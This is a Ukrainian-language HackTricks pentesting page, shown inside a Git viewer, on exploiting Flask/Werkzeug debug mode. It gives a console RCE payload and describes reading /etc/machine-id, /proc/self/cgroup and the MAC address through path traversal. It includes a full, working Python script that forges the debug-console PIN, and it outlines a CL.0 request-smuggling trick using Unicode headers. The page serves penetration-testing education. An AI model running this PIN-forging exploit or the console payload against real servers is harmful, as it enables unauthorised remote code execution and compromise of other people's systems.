168 lines
9.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Werkzeug / Flask Debug
{{#include ../../banners/hacktricks-training.md}}
## Console RCE
Якщо налагодження активне, ви можете спробувати отримати доступ до `/console` і отримати RCE.
```python
__import__('os').popen('whoami').read();
```
![](<../../images/image (117).png>)
Існує також кілька експлойтів в інтернеті, таких як [цей](https://github.com/its-arun/Werkzeug-Debug-RCE) або один у metasploit.
## Захищений PIN - Перехід по шляху
В деяких випадках **`/console`** кінцева точка буде захищена PIN-кодом. Якщо у вас є **вразливість до переходу по файлах**, ви можете витягти всю необхідну інформацію для генерації цього PIN-коду.
### Експлойт PIN-коду консолі Werkzeug
Примусьте сторінку помилки налагодження в додатку, щоб побачити це:
```
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
Повідомлення щодо сценарію "консоль заблокована" з'являється при спробі доступу до інтерфейсу налагодження Werkzeug, що вказує на необхідність введення PIN-коду для розблокування консолі. Пропонується експлуатувати PIN-код консолі, аналізуючи алгоритм генерації PIN-коду у файлі ініціалізації налагодження Werkzeug (`__init__.py`). Механізм генерації PIN-коду можна вивчити з [**репозиторію вихідного коду Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), хоча рекомендується отримати фактичний код сервера через вразливість обходу файлів через потенційні розбіжності версій.
Для експлуатації PIN-коду консолі потрібні два набори змінних: `probably_public_bits` та `private_bits`:
#### **`probably_public_bits`**
- **`username`**: Відноситься до користувача, який ініціював сесію Flask.
- **`modname`**: Зазвичай позначається як `flask.app`.
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Зазвичай розв'язується в **Flask**.
- **`getattr(mod, '__file__', None)`**: Представляє повний шлях до `app.py` у каталозі Flask (наприклад, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Якщо `app.py` не застосовується, **спробуйте `app.pyc`**.
#### **`private_bits`**
- **`uuid.getnode()`**: Отримує MAC-адресу поточної машини, з `str(uuid.getnode())` перетворюючи її в десятковий формат.
- Щоб **визначити MAC-адресу сервера**, потрібно виявити активний мережевий інтерфейс, що використовується додатком (наприклад, `ens3`). У випадках невизначеності, **використовуйте `/proc/net/arp`** для знаходження ID пристрою, потім **витягніть MAC-адресу** з **`/sys/class/net/<device id>/address`**.
- Перетворення шістнадцяткової MAC-адреси в десяткову можна виконати, як показано нижче:
```python
# Приклад MAC-адреси: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```
- **`get_machine_id()`**: Об'єднує дані з `/etc/machine-id` або `/proc/sys/kernel/random/boot_id` з першим рядком `/proc/self/cgroup` після останнього слешу (`/`).
<details>
<summary>Код для `get_machine_id()`</summary>
```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
```
</details>
Після збору всіх необхідних даних, скрипт експлуатації може бути виконаний для генерації PIN-коду консолі Werkzeug:
Після збору всіх необхідних даних, скрипт експлуатації може бути виконаний для генерації PIN-коду консолі Werkzeug. Скрипт використовує зібрані `probably_public_bits` та `private_bits` для створення хешу, який потім підлягає подальшій обробці для отримання фінального PIN-коду. Нижче наведено код на Python для виконання цього процесу:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
```
Цей скрипт генерує PIN, хешуючи конкатеновані біти, додаючи специфічні солі (`cookiesalt` та `pinsalt`), і форматуючи вихідні дані. Важливо зазначити, що фактичні значення для `probably_public_bits` та `private_bits` потрібно точно отримати з цільової системи, щоб забезпечити відповідність згенерованого PIN очікуваному в консолі Werkzeug.
> [!TIP]
> Якщо ви використовуєте **стару версію** Werkzeug, спробуйте змінити **алгоритм хешування на md5** замість sha1.
## Werkzeug Unicode символи
Як було зазначено в [**цьому питанні**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug не закриває запит з Unicode символами в заголовках. І, як пояснено в [**цьому описі**](https://mizu.re/post/twisty-python), це може викликати вразливість CL.0 Request Smuggling.
Це пов'язано з тим, що в Werkzeug можливо відправити деякі **Unicode** символи, і це призведе до **зламу** сервера. Однак, якщо HTTP з'єднання було створено з заголовком **`Connection: keep-alive`**, тіло запиту не буде прочитано, і з'єднання залишиться відкритим, тому **тіло** запиту буде розглядатися як **наступний HTTP запит**.
## Автоматизоване використання
{{#ref}}
https://github.com/Ruulian/wconsole_extractor
{{#endref}}
## Посилання
- [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
- [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
{{#include ../../banners/hacktricks-training.md}}